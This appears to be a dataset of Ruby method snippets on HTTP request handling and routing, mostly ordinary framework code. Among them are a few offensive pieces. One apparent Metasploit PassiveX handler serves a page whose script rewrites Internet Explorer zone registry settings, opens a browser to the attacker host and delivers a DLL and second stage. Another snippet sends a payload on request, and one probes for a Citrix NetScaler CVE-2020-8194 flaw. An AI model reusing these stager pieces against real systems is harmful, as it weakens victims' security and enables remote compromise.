"def execute(request)\n request.pretty_print\n element = @pt.extract(URI.parse(request.get_uri_path))\n if element.nil? then\n request.respond(CR[:not_found])\n else\n primary(request, element)\n end\n request.send_response\n ## XXX: do we need to be able to really handle\n ## this method in a custom fashion?\n end",
"def index\n\n respond_to do |format|\n format.html do # index.html.erb\n @handler = params[:handler] || 'glassware'\n @all_handlers = ObjectType.pluck(:handler).uniq.sort\n @first = !@all_handlers.empty? ? @all_handlers[0] : 'no handlers'\n @object_types = ObjectType.all.sort_by(&:name)\n render layout: 'aq2'\n end\n format.json { render json: ObjectType.all.collect { |ot| { name: ot.name, handler: ot.handler } } }\n end\n\n end",
"def add_handlers\n template 'templates/dry/app.tt', \"#{name}/app.rb\"\n end",
"def handler; end",
"def handler; end",
"def method_missing(method, *args, &block)\n if (method.to_s.end_with?('_path') || method.to_s.end_with?('_url')) && main_app.respond_to?(method)\n main_app.send(method, *args, &block)\n else\n super\n end\n end",
"def execute_handler params={},path=nil\n case @type\n when :handlers\n @handlers.each do |handler_ident|\n handler = @context_ref.handlers.fetch(handler_ident) {raise \"handler #{handler_ident} doesn't exist in context #{@context_ref.ref}\"}\n component = handler.(params,path||@url,&:call)\n Context.current_context = @context_ref.ref\n if component.class == Proc\n component.call\n else\n Context.renderer.call(component,handler_ident)\n end\n Context.current_context = :no_context\n end\n when :context\n Context.wipe\n Context.render handlers\n History.push(@context_ref.ref,\"\",[],@context_ref.ref)\n end\n end",
"def handle_GET(initial)\n\trequest_path = get_Path(initial)\n\trequest_path = request_path[1..-1] if request_path[0] == '/'\n\tif File.exist?(request_path)\n\t\tcreate_Found_Response(request_path)\n\telse\n\t\tcreate_Not_Found_Response(request_path)\n\tend\nend",
"def dispatch(name, req, res); end",
"def start\n FCGI.each do |req|\n dir, app = nil\n begin\n root, path = \"/\"\n if ENV['FORCE_ROOT'] and ENV['FORCE_ROOT'].to_i == 1\n path = req.env['REQUEST_URI']\n else\n root = req.env['SCRIPT_NAME']\n path = req.env['PATH_INFO']\n end\n\n dir, app = @mounts.max { |a,b| match(path, a[0]) <=> match(path, b[0]) }\n unless dir and app\n dir, app = '/', Camping\n end\n yield dir, app if block_given?\n\n req.env['SERVER_SCRIPT_NAME'] = req.env['SCRIPT_NAME']\n req.env['SERVER_PATH_INFO'] = req.env['PATH_INFO']\n req.env['SCRIPT_NAME'] = File.join(root, dir)\n req.env['PATH_INFO'] = path.gsub(/^#{dir}/, '')\n\n controller = app.run(req.in, req.env)\n sendfile = nil\n headers = {}\n controller.headers.each do |k, v|\n if k =~ /^X-SENDFILE$/i and !ENV['SERVER_X_SENDFILE']\n sendfile = v\n else\n headers[k] = v\n end\n end\n\n body = controller.body\n controller.body = \"\"\n controller.headers = headers\n\n req.out << controller.to_s\n if sendfile\n File.open(sendfile, \"rb\") do |f|\n while chunk = f.read(CHUNK_SIZE) and chunk.length > 0\n req.out << chunk\n end\n end\n elsif body.respond_to? :read\n while chunk = body.read(CHUNK_SIZE) and chunk.length > 0\n req.out << chunk\n end\n body.close if body.respond_to? :close\n else\n req.out << body.to_s\n end\n rescue Exception => e\n req.out << \"Content-Type: text/html\\r\\n\\r\\n\" +\n \"<h1>Camping Problem!</h1>\" +\n \"<h2><strong>#{root}</strong>#{path}</h2>\" + \n \"<h3>#{e.class} #{esc e.message}</h3>\" +\n \"<ul>\" + e.backtrace.map { |bt| \"<li>#{esc bt}</li>\" }.join + \"</ul>\" +\n \"<hr /><p>#{req.env.inspect}</p>\"\n ensure\n req.finish\n end\n end\n end",
"def on_request_uri(cli, request)\r\n print_status(\"Request: #{request.uri}\")\r\n if request.uri =~ /#{Regexp.escape(get_resource)}/\r\n print_status('Sending payload...')\r\n send_response(cli, @pl)\r\n end\r\n end",
"def run(req, res)\n match_data = @pattern.match(req.path)\n\n route_params = {}\n match_data.names.each do |name|\n route_params[name] = match_data[name]\n end\n\n @controller_class.new(req, res, route_params).invoke_action(action_name)\n end",
"def dispatch_request(cli, request)\n # Is the client requesting keep-alive?\n if ((request['Connection']) and\n (request['Connection'].downcase == 'Keep-Alive'.downcase))\n cli.keepalive = true\n end\n\n # Search for the resource handler for the requested URL. This is pretty\n # inefficient right now, but we can spruce it up later.\n p = nil\n len = 0\n root = nil\n\n resources.each_pair { |k, val|\n if (request.resource =~ /^#{k}/ and k.length > len)\n p = val\n len = k.length\n root = k\n end\n }\n\n if (p)\n # Create an instance of the handler for this resource\n handler = p[0].new(self, *p[2])\n\n # If the handler class requires a relative resource...\n if (handler.relative_resource_required?)\n # Substituted the mount point root in the request to make things\n # relative to the mount point.\n request.relative_resource = request.resource.gsub(/^#{root}/, '')\n request.relative_resource = '/' + request.relative_resource if (request.relative_resource !~ /^\\//)\n end\n\n\n # If we found the resource handler for this resource, call its\n # procedure.\n if (p[1] == true)\n Rex::ThreadFactory.spawn(\"HTTPServerRequestHandler\", false) {\n handler.on_request(cli, request)\n }\n else\n handler.on_request(cli, request)\n end\n else\n elog(\"Failed to find handler for resource: #{request.resource}\", LogSource)\n\n send_e404(cli, request)\n end\n\n # If keep-alive isn't enabled for this client, close the connection\n if (cli.keepalive == false)\n close_client(cli)\n end\n end",
"def render(*args)\n path = encode_uri(*args)\n\n debug \"Rendering '#{path}'\" if $DBG\n \n @controller_class, action, query, params, @context.format = @context.dispatcher.dispatch(path)\n# @context.content_type = @context.format.content_type\n\n @context.level += 1\n old_controller_class = Controller.replace_current(@controller_class)\n \n if self.class == @controller_class \n render_action(action, params)\n else\n @controller_class.new(@context).send(:render_action, action, params)\n end\n\n Controller.replace_current(old_controller_class)\n @context.level -= 1\n end",
"def run(req, res)\n # The #run method will figure out what URL was requested, match it to\n # the path regex of one Route object, and finally ask the Route to\n # instantiate the appropriate controller, and call the appropriate method.\n end",
"def handle(request, env)\n params = @params.dup\n path_info, script_name = env[\"PATH_INFO\"], env[\"SCRIPT_NAME\"]\n \n return unless request_conditions.all? do |method_name, condition|\n # TODO: Refactor this... it lacks awesome\n next true unless request.respond_to?(method_name)\n matched, captures = condition.match(request)\n if matched\n params.merge!(captures)\n if method_name == :path_info\n new_path_info = @path_info.dup if @path_info\n new_path_info ||= env[\"PATH_INFO\"].sub(/^#{Regexp.escape(matched)}/, '')\n new_path_info.gsub!(SEGMENT_REGEXP) { |s| params[$2.to_sym] }\n env[\"SCRIPT_NAME\"] = Utils.normalize(request.env[\"SCRIPT_NAME\"] + matched)\n env[\"PATH_INFO\"] = Utils.normalize(new_path_info)\n end\n true\n end\n end\n \n env[\"rack_router.route\"] = self\n env[\"rack_router.params\"].merge! params\n \n @app.call(env)\n ensure\n env[\"PATH_INFO\"], env[\"SCRIPT_NAME\"] = path_info, script_name\n end",
"def app\n render json: {app_load: true}\n #@location_path = \"/#{params[:path]}\"\n end",
"def index\n handle_view\n end",
"def process_action(site, action_path, env, format)\n namespace, *parts = action_path.split(S::Constants::SLASH)\n path = \"/\" << parts.join(S::Constants::SLASH)\n env[S::Constants::PATH_INFO] = path\n run_controller(site, namespace, env, format)\n end",
"def call(env)\n request = Rack::Request.new(env)\n\n # Return early if request is not a GET\n return @app.call(env) unless request.get?\n\n # Return early if request is within backend or Active Storage path directory\n backend_path = \"/#{Integral.backend_namespace}/\"\n return @app.call(env) if request.path_info.starts_with?(backend_path) || request.path_info.starts_with?(ActiveStorage.routes_prefix)\n\n # Rewrites path if the request linked to an Integral::Page or Integral::Category\n process_path(env, request)\n\n @app.call(env)\n end",
"def dispatch_action(req)\n controller = ROUTE_TO_CONTROLLER[req.path_info]\n raise Heartcheck::Errors::RoutingError if controller.nil?\n\n Logger.info \"Start [#{controller}] from #{req.ip} at #{Time.now}\"\n\n controller.new.index.tap do |_|\n Logger.info \"End [#{controller}]\\n\"\n end\n end",
"def content_controller\n self\n end",
"def invoke_action(name)\n check_authenticity_token unless req.request_method == 'GET'\n self.send(name)\n self.render(name.to_s) unless already_built_response?\n end",
"def index\n respond_with(components)\n end",
"def handler_for(path)\n handler[ path.split('.').last ]\n end",
"def site_pages \n Rails.application.reload_routes!\n page_routes = Rails.application.routes.routes.select do |route|\n route.verb == \"GET\" && !route.name.blank? && !route.name.match(/^edit/) && !route.name.match(\"translat\") && !route.name.match(\"external_author\")\n end\n\n @paths = []\n @errors = []\n @errors << \"Skipping translation and external author pages because these areas are in-progress.\"\n\n page_routes.each do |r|\n path = r.path.split('(').first\n while (path.match(/:([^\\/]+)_id\\//)) do\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":#{$1}_id\", \"#{id}\") if id\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, #{$1}\"\n break\n end\n end\n\n if (path.match(/\\/([^\\/]+)\\/:id/))\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":id\", \"#{id}\")\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, id\"\n end\n end\n\n @paths << [path, r.name]\n end\n \n render :action => \"site_pages\", :layout => \"application\"\n end",
"def index\n\n respond_to do |format|\n # this is the catch-all route to redirect unknown routes to our app root, but it's\n # only meant to handle requests for html pages\n format.html {\n\n @mobile_os = detect_mobile_os\n # redirect to mobile web if on amazon platform\n if @mobile_os == :amazon\n redirect_to('/amazonapp' ) and return\n elsif (@mobile_os == :windows) and !user_signed_in?\n redirect_to('/get-started' ) and return\n end\n\n #XXX .TV subdomains\n # This is such a hack. I'd like to detect this in routes.rb and handle by sending to another\n # controller, but until that's built, we just short-circuit right here\n if dot_tv_roll = get_dot_tv_roll_from_domain(request)\n user = Shelby::API.get_user(dot_tv_roll['creator_id'])\n frame_id = get_frame_from_path(params[:path])\n\n unless frame_id\n # if no frame was specified, this points to the user's roll, which is now at the user's \"profile\", shelby.tv/the-users-nickname\n redirect_to \"#{Settings::Application.protocol_matching_url}/#{user['nickname']}\", :status => :moved_permanently and return\n else\n # if a frame was specified this is a link to a specific frame on the user's roll\n redirect_to \"#{Settings::Application.protocol_matching_url}/roll/#{dot_tv_roll['id']}/frame/#{frame_id}\", :status => :moved_permanently and return\n end\n end\n\n path = params[:path]\n # if the path is just a user name, this is the route for a user profile, so get the\n # necessary view instance variables and render\n if path && !Settings::Application.root_paths.include?(path) && !path.include?('/')\n user = Shelby::API.get_user(path)\n\n if user\n @user = user\n @roll = Shelby::API.get_roll_with_frames(@user['personal_roll_id'], '') if @user\n render '/home/app' and return\n else\n raise ActionController::RoutingError.new(\"Not Found\")\n end\n end\n\n if user_signed_in?\n render '/home/app'\n else\n # Consider errors and render landing page\n @auth_failure = params[:auth_failure] == '1'\n @auth_strategy = params[:auth_strategy]\n @access_error = params[:access] == \"nos\"\n @invite_error = params[:invite] == \"invalid\"\n @status = params[:status]\n @mobile_os = detect_mobile_os\n @is_mobile = is_mobile?\n\n\n if flash[:user_errors]\n @user_attributes = flash[:user_attributes]\n @email_error = flash[:user_errors_email]\n @nickname_error = flash[:user_errors_nickname]\n end\n\n view_context.get_info_for_meta_tags(params[:path])\n\n # if @mobile_os\n # render '/mobile/search', :layout => 'mobile'\n # else\n\n # A/B tests\n #@landing_messaging_v2 = ab_test :landing_messaging_v2\n #@signup_on_landing = ab_test :signup_on_landing\n #@signup_w_fb = ab_test :signup_w_fb\n #@onboarding_first_step = ab_test :onboarding_first_step\n\n render '/home/landing'\n end\n\n }\n # if we hit this as the catch-all while looking for an image or some other special format,\n # we can't render anything appropriate so send a 404\n format.any {\n head :not_found\n }\n end\n end",
"def scheme_handlers; end",
"def scheme_handlers; end",
"def do_GET req, res\n req.path.sub!(/\\A#{Regexp.escape @mount_path}/, '') if @mount_path\n\n case req.path\n when '/' then\n root req, res\n when '/js/darkfish.js', '/js/jquery.js', '/js/search.js',\n %r%^/css/%, %r%^/images/%, %r%^/fonts/% then\n asset :darkfish, req, res\n when '/js/navigation.js', '/js/searcher.js' then\n asset :json_index, req, res\n when '/js/search_index.js' then\n root_search req, res\n else\n show_documentation req, res\n end\n rescue WEBrick::HTTPStatus::NotFound => e\n generator = generator_for RDoc::Store.new\n\n not_found generator, req, res, e.message\n rescue WEBrick::HTTPStatus::Status\n raise\n rescue => e\n error e, req, res\n end",
"def portlets(routes=@routes)\n raise 'No configuration' unless @config\n portlets = []\n\n @config.instances.flatten.each do |portlet|\n\n ### route to path\n if portlet[:path]\n # take user-given path & do not parse routes\n path = portlet[:path]\n #\n # parse the requirements - controller & action\n # ( this is too difficult -- no navigation for user-given paths )\n #\n# begin\n# #recognized_request_for(path)\n# #builder = ActionController::Routing::RouteBuilder.new\n# #r = ActionController::Routing::Routes.recognize_path(path, { :method => :get })\n# #puts r.inspect\n# #req_path = builder.segments_for_route_path(r)\n# #STDERR.puts req_path.inspect\n# rescue\n# STDERR.puts $!.message\n# end\n\n portlet.update( :reqs => {} )\n portlet.update( :vars => [] )\n\n else # parse path from routes\n begin\n _r = routes.select{\n |route| route[:name]==portlet[:name].to_sym\n }\n path = _r.first[:path] # take only the first segments\n raise if path.nil?\n rescue\n $stderr.puts ' !! no route for %s' % portlet[:name]\n next\n end\n \n # getting de default values from wildcards (:controller, :action, :other)\n portlet.update(:defaults => _r.first[:defaults])\n \n ### requirements - controller & action\n portlet.update( :reqs => _r.first[:reqs] )\n\n ### variables\n # take just the ones that are required in the path!\n vars = []\n _r.first[:vars].each do |var|\n # variables that are not defined in reqs are required to be inserted by the rails-portlet\n vars << var unless _r.first[:reqs][var]\n end\n portlet.update( :vars => vars )\n\n # delete the route from routes\n\t if routes\n _r.each do |r|\n routes.delete(r)\n end\n\t end\n end\n portlet.update( :path => path )\n\n ### javascripts\n # append portlet's javascripts to global javascripts\n javascripts = (portlet[:javascripts].nil? ?\n @config.javascripts : @config.javascripts + portlet[:javascripts].to_a)\n portlet.update( :javascripts => javascripts.flatten )\n\n portlets << portlet\n end\n\n # leftover named routes\n if @config.include_all_named_routes==true\n portlets << routes\n end\n\n # sanity check\n portlets.flatten!\n portlets.compact!\n portlets.each do |portlet|\n ### hostname\n portlet[:host] ||= @config.host\n\n ### servlet\n portlet[:servlet] ||= @config.servlet\n\n ### category\n portlet[:category] ||= @config.category\n\n ### title\n _title = portlet[:title] || portlet[:name].to_s.gsub('_',' ').capitalize\n # strip illegal characters\n title = _title.gsub(/ä/,'a').gsub(/ö/,'o').gsub(/Ä/,'A').gsub(/Ö/,'O')\n portlet.update( :title => title )\n\n portlet[:edit_mode] ||= nil\n portlet[:instanceable] ||= false\n\n ### unless defined, use default javascripts\n portlet[:javascripts] ||= @config.javascripts\n\n # fix path variables to be replaced by rails-portlet at runtime\n path = portlet[:path]\n path.gsub!(/:uid/,'%UID%')\n path.gsub!(/:gid/,'%GID%')\n # TODO: notify user of unsupported variables\n portlet.update( :path => path )\n end\n\n return portlets\n end",
"def serve request, response, client, vhost\n @action.call(request, response, client, vhost) unless @action.nil?\n end",
"def dispatch(path, request, response, options)\n if WelltreatStoreFramework::Core.configuration.auto_reload\n restart\n end\n\n begin\n case path\n when '/'\n _execute_action(:Home, :index, request, response, options)\n else\n _controller_name, _action, _id = self.send(:_extract_path, path)\n request.send(:set_param, :id, _id)\n\n _execute_action(_controller_name, _action, request, response, options)\n end\n\n # Handle 404\n rescue WelltreatStoreFramework::StoreApp::ControllerNotFound\n _execute_action(:Home, :not_found, request, response, options)\n\n rescue WelltreatStoreFramework::StoreApp::ActionNotFound\n _execute_action(:Home, :not_found, request, response, options)\n end\n end",
"def run(req, res)\n route_params = {}\n\n match_data = @pattern.match(req.path)\n match_data.names.each do |key|\n route_params[key] = match_data[key]\n end\n\n controller = @controller_class.new(req, res, route_params)\n controller.invoke_action(@action_name)\n end",
"def handler_method; end",
"def handle(url, handler, default_data = {})\n unless @handlers[url]\n @urls << url\n @handlers[url] = [handler, default_data]\n end\n end",
"def handle(action, request)\n request.error(404) unless only.include?(action)\n protect!(request) if protect.include?(action)\n \n log_with_benchmark(request, action) do\n instance_exec(request, &self.class.actions[action][:fn])\n end\n end",
"def invoke_action(name)\n # debugger\n self.send(name)\n render(name.to_s) unless already_built_response?\n end",
"def handleRequest?(path)\n\t\t\ttrue\n\t\tend",
"def run(req, res)\n regex = Regexp.new(@pattern.to_s)\n match_data = regex.match(req.path)\n route_params = {}\n match_data.names.each do |key|\n route_params[key] = match_data[key]\n end\n control = @controller_class.new(req, res, route_params)\n control.invoke_action(@action_name)\n end",
"def run\n super\n\n require_enrichment\n\n url = _get_entity_name\n\n # make request and save response\n response = http_request :get, \"#{url}/menu/guiw?nsbrand=1&protocol=nonexistent.1337\\\">&id=3&nsvpx=phpinfo\"\n unless response && response.code.to_i == 200\n _log \"No response! Failing\"\n return\n end\n\n # grab response headers and body\n response_headers = response.headers\n response_body = response.body_utf8\n\n # check if header and body contain needed values\n if response_headers.has_value?(\"application/x-java-jnlp-file\")\n # header is present, check for response body\n if response_body =~ /\\<jnlp codebase\\=\\\"nonexistent\\.1337\\\"/\n _log \"Vulnerable!\"\n _create_linked_issue \"citrix_netscaler_codeinjection_cve_2020_8194\" , { \"proof\" => response }\n end\n else\n _log \"Not vulnerable!\"\n end\n\n end",
"def index\n if !@permitted\n render :action => :reserved\n return\n end\n if !@note && @permitted\n render :action => :invent\n return\n end\n if @note.handler == \"folder\" || @note.handler == \"note\" || [email protected]\n list\n end\n # deal with no handler ( print a warning )\n render :action => :index\n end",
"def controller_catalog() # :doc:\n controller_path.gsub('/', '.')\n end",
"def register_url_handling\n result = LSRegisterURL(NSBundle.mainBundle.bundleURL, true)\n pe_warn \"result code from LSRegisterURL: #{result}\"\n \n NSAppleEventManager.sharedAppleEventManager.setEventHandler(self, andSelector: 'getUrl:withReplyEvent:', forEventClass:KInternetEventClass, andEventID:KAEGetURL)\n end",
"def on_request(cli, req)\n\t\tsid = nil\n\t\tresp = Rex::Proto::Http::Response.new\n\n\t\t# Grab the SID if one was supplied in the request header.\n\t\tif (req['X-Sid'] and \n\t\t (m = req['X-Sid'].match(/sid=(\\d+?)/)))\n\t\t\tsid = m[1]\n\t\tend\n\n\t\t# Process the requested resource.\n\t\tcase req.relative_resource\n\t\t\twhen \"/\"\n\t\t\t\t# Get a new sid\n\t\t\t\tself.sid_pool += 1\n\t\t\t\tnsid = sid_pool\n\n\t\t\t\tresp['Content-Type'] = 'text/html'\n\t\t\t\t# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set\n\t\t\t\t# of processes. It works, so will go ahead and commit changes and debug later to run it down.\n\t\t\t\tresp.body = %Q^<html> \n<object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}\"> \n <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\"> \n <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">\n <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\"> \n <param name=\"HttpSid\" value=\"#{nsid}\">^ + ((stage_payload) ? %Q^\n <param name=\"DownloadSecondStage\" value=\"1\">^ : \"\") + %Q^\n</object>\n<script>\nvar WshShell = new ActiveXObject(\"Wscript.Shell\");\nvar marker = true;\nvar regCheck;\nvar regRange = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\ZoneMap\\\\\\\\Ranges\\\\\\\\random\\\\\\\\\" //Can be any value\nvar regIntranet = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\1\\\\\\\\\";\n\n//Check if we've run this before.\ntry { regCheck = WshShell.RegRead(regRange + \"marker\"); } catch (e) { marker = false; }\n\nif (marker == false) {\n //Modify perms for the Intranet zone.\n WshShell.RegWrite(regIntranet + \"1001\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1004\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1201\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1208\",0,\"REG_DWORD\");\n\n //Map IP to the newly modified zone.\n WshShell.RegWrite(regRange,1,\"REG_SZ\");\n WshShell.RegWrite(regRange + \":Range\",\"#{datastore['PXHOST']}\",\"REG_SZ\");\n WshShell.RegWrite(regRange + \"*\",1,\"REG_DWORD\");\n WshShell.RegWrite(regRange + \"marker\",1,\"REG_DWORD\"); //Just a marker\n\n //Clean up after the original passivex stage1 loader; reset to default IE7 install\n var regDefault = \"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\3\\\\\\\\\";\n WshShell.RegWrite(regDefault + \"1001\",1,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1004\",3,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1201\",3,\"REG_DWORD\");\n\n //Clean up and delete the created entries\n setTimeout('WshShell.RegDelete(regIntranet + \"1001\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1004\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1200\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1201\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1208\")', 60000);\n setTimeout('WshShell.RegDelete(regRange)', 60000);\n\n WshShell.Run(\"iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\",0,false);\n}\n</script>\n</html>^\n\n\t\t\t\t# Create a new local PX session with the supplied sid\n\t\t\t\tnew_session_channel(nsid)\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX main page to client\")\n\t\t\twhen \"/passivex.dll\"\n\t\t\t\tresp['Content-Type'] = 'application/octet-stream'\n\t\t\t\tresp.body = ''\n\t\t\t\t\n\t\t\t\tFile.open(dll_path, \"rb\") { |f|\n\t\t\t\t\tresp.body = f.read\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX DLL (#{resp.body.length} bytes)\")\n\t\t\twhen \"/stage\"\n\t\t\t\tresp.body = generate_stage\n\n\t\t\t\t# Now that we've transmitted a second stage, it's time to indicate\n\t\t\t\t# that we've found a new session. We call handle_connection using\n\t\t\t\t# the lsock of the local stream.\n\t\t\t\tif (s = find_session_channel(sid))\n\t\t\t\t\tThread.new {\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\ts.remote = cli\n\t\t\t\t\t\t\thandle_connection(s.lsock)\n\t\t\t\t\t\trescue ::Exception\n\t\t\t\t\t\t\telog(\"Exception raised during PX handle connection: #{$!}\", 'core', LEV_1)\n\n\t\t\t\t\t\t\tdlog(\"Call stack:\\n#{[email protected](\"\\n\")}\", 'core', LEV_3)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tend\n\n\t\t\t\tprint_status(\"Sending stage to sid #{sid} (#{resp.body.length} bytes)\")\n\t\t\twhen \"/tunnel_in\"\n\t\t\t\ts.write_local(req.body) if (s = find_session_channel(sid))\n\t\t\twhen \"/tunnel_out\" \n\t\t\t\tcli.keepalive = true\n\t\t\t\tresp = nil\n\t\t\t\ts.remote = cli if (s = find_session_channel(sid))\n\t\t\telse\n\t\t\t\tresp.code = 404\n\t\t\t\tresp.message = \"Not found\"\n\t\tend\n\n\t\tcli.send_response(resp) if (resp)\n\tend",
"def show\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE (did not find instance)\n # authorize @bucket_logger\n @dataservice_bucket_logger = Dataservice::BucketLogger.find(params[:id])\n bundle = @dataservice_bucket_logger.most_recent_content\n if @dataservice_bucket_logger.learner\n # FIXME How do we now associate launch process events since bucket_content != session?\n # For now, the in_progress_bundle is still being created, so just use that.\n if ipb = @dataservice_bucket_logger.learner.bundle_logger.in_progress_bundle\n launch_event = Dataservice::LaunchProcessEvent.create(\n :event_type => Dataservice::LaunchProcessEvent::TYPES[:bundle_requested],\n :event_details => \"Learner session data loaded. Loading activity content...\",\n :bundle_content => ipb\n )\n end\n end\n respond_to do |format|\n # format.html # show.html.erb\n format.bundle {\n send_data(\n bundle,\n :type => 'application/octet-stream',\n :filename => \"data-#{@dataservice_bucket_logger.id}.dat\",\n :disposition => 'inline'\n )\n }\n end\n end",
"def process_for(request_params)\n source = self.root.find_widget(request_params[:source]) or raise \"Source #{request_params[:source].inspect} non-existent.\"\n \n source.fire(request_params[:type].to_sym)\n source.root.page_updates ### DISCUSS: that's another dependency.\n end",
"def on_get_content(params, req)\n @content_opts = params\n\n debug \"on_get_content: '#{params.inspect}'\"\n self\n end",
"def dispatch env\n raise Gin::NotFound,\n \"No route exists for: #{env[REQ_METHOD]} #{env[PATH_INFO]}\" unless\n env[GIN_TARGET]\n\n env[GIN_APP] = self\n env[GIN_TARGET][0].call(env)\n\n rescue ::Exception => err\n handle_error(err, env)\n end",
"def invoke *args, &proc\n\n if args.size == 0\n error 500, '`%s` expects an action(or an app and action) to be provided' % __method__\n end\n\n app = ::AppetiteUtils.is_app?(args.first) ? args.shift : self.class\n\n if args.size == 0\n error 500, 'Beside app, `%s` expects an action to be provided' % __method__\n end\n\n action = args.shift.to_sym\n route = app[action] || error(404, '%s app does not respond to %s action' % [app, action])\n rest_map = app.url_map[route]\n env.update 'SCRIPT_NAME' => route\n\n if args.size > 0\n path, params = '/', {}\n args.each { |a| a.is_a?(Hash) ? params.update(a) : path << a.to_s << '/' }\n env.update 'PATH_INFO' => path\n params.size > 0 &&\n env.update('QUERY_STRING' => build_nested_query(params))\n end\n app.new(nil, rest_map).call env, &proc\n end",
"def call_hook(hook, context={})\n template = context[:controller].instance_variable_get('@template')\n returning [] do |response|\n hls = hook_listeners(hook)\n if hls.any?\n hls.each {|listener| response << listener.send(hook, template)}\n end\n end\n end",
"def service(request, response)\n params = @router.resolve_uri(request.request_uri)\n controller = Acoustic::Controller.from_symbol(params[:controller])\n action = params[:action]\n controller.process(action, params, request, response)\n rescue Acoustic::UnresolvableUri, Acoustic::ControllerNameError\n raise Acoustic::NotFound.new(request.request_uri)\n end",
"def child_init( req ) # :nodoc\n self.log.notice \"Dispatcher configured for %s\" % [ req.server.hostname ]\n return Apache::OK\n end",
"def invoke_action(name)\n check_authenticity_token if self.class.protect_from_forgery? && !get_request?\n\n send( name )\n render( name ) unless already_built_response?\n end",
"def invoke_action(name)\n self.send(name)\n render unless self.already_built_response?\n\n end",
"def call(request)\n compile! unless compiled?\n pattern, verb, params = *parse_request(request)\n pattern = pattern.encode(Encoding.default_external)\n candidacies = match_with(pattern)\n raise_exception(404) if candidacies.empty?\n candidacies, allows = *candidacies.partition{ |route| route.verb == verb }\n raise_exception(405, :verbs => allows.map(&:verb)) if candidacies.empty?\n candidacies.map{ |route| [route, route.params_for(pattern, params)] }\n end",
"def scheme_handlers=(_arg0); end",
"def method_missing(method, *args, &block)\n if method.to_s.end_with?('_path', '_url')\n if main_app.respond_to?(method)\n main_app.send(method, *args)\n else\n super\n end\n else\n super\n end\n end",
"def dispatch(request)\n # {{{\n benchmark_start_time = Time.now \n\n params = Aurita::Attributes.new(request)\n params[:_request] = request\n params[:_session] = Aurita::Session.new(request)\n params[:_logger] = @logger\n params[:_application] = @application\n status = 200\n response_body = ''\n response_header = {}\n\n controller = params[:controller]\n action = params[:action]\n mode = params[:mode]\n controller ||= 'App_Main'\n action ||= 'start'\n mode ||= 'default'\n\n Thread.current['request'] = params\n\n Lore::Connection.reset_query_count()\n Lore::Connection.reset_result_row_count()\n\n begin\n raise ::Exception.new('No controller given') if(controller.nil? || controller == '') \n\n model_klass = @application.get_model_klass(controller)\n controller_klass = @application.get_controller_klass(controller)\n\n raise ::Exception.new('Unknown controller: ' << controller.inspect) unless controller_klass\n \n controller_instance = controller_klass.new(params, model_klass)\n\n response = false\n @logger.debug(\"Calling model interface method #{controller}.#{action}\")\n\n element = controller_instance.call_guarded(action)\n response = controller_instance.response\n if response[:html] == '' then\n if element.is_a?(Aurita::GUI::XML::Document) then\n # Don't use default decorator for XML documents: \n response[:mode] = :none if (!response[:mode] || response[:mode] == :default)\n response[:html] = element.string \n elsif element.respond_to?(:string) then\n # Response is an instance of Aurita::GUI::Element\n response[:html] = element.string \n response[:script] << element.script if element.respond_to?(:script) && element.script\n elsif element.is_a?(Array) then\n element.each { |e|\n response[:html] << e.to_s\n }\n end\n end\n\n response_header.update(response[:http_header]) if response[:http_header]\n if response_header['status_code'] then\n status = response_header['status_code'].to_i \n response_header.delete('status_code')\n end\n\n mode = response[:mode].to_sym if response && response[:mode]\n mode ||= :default \n response[:mode] = mode\n params[:_controller] = controller_instance\n\n response_body = @decorator.render(model_klass, response, params)\n\n @num_dispatches += 1\n\n @benchmark_time = Time.now-benchmark_start_time\n @num_queries = Lore::Connection.query_count\n @num_tuples = Lore::Connection.result_row_count\n Aurita::Plugin_Register.call(Hook.dispatcher.request_finished, \n controller_instance, \n :dispatcher => self, \n :controller => controller_instance, \n :action => action, \n :time => @benchmark_time, \n :num_queries => @num_queries, \n :num_tuples => @num_tuples)\n @logger.debug(\"Num queries: #{@num_queries}\")\n rescue Exception => excep\n @logger.error(excep.message)\n @logger.error(excep.backtrace.join(\"\\n\"))\n response_body = GUI::Error_Page.new(excep).string\n response_body = ''\n end\n\n return [ status, response_header, response_body ]\n end",
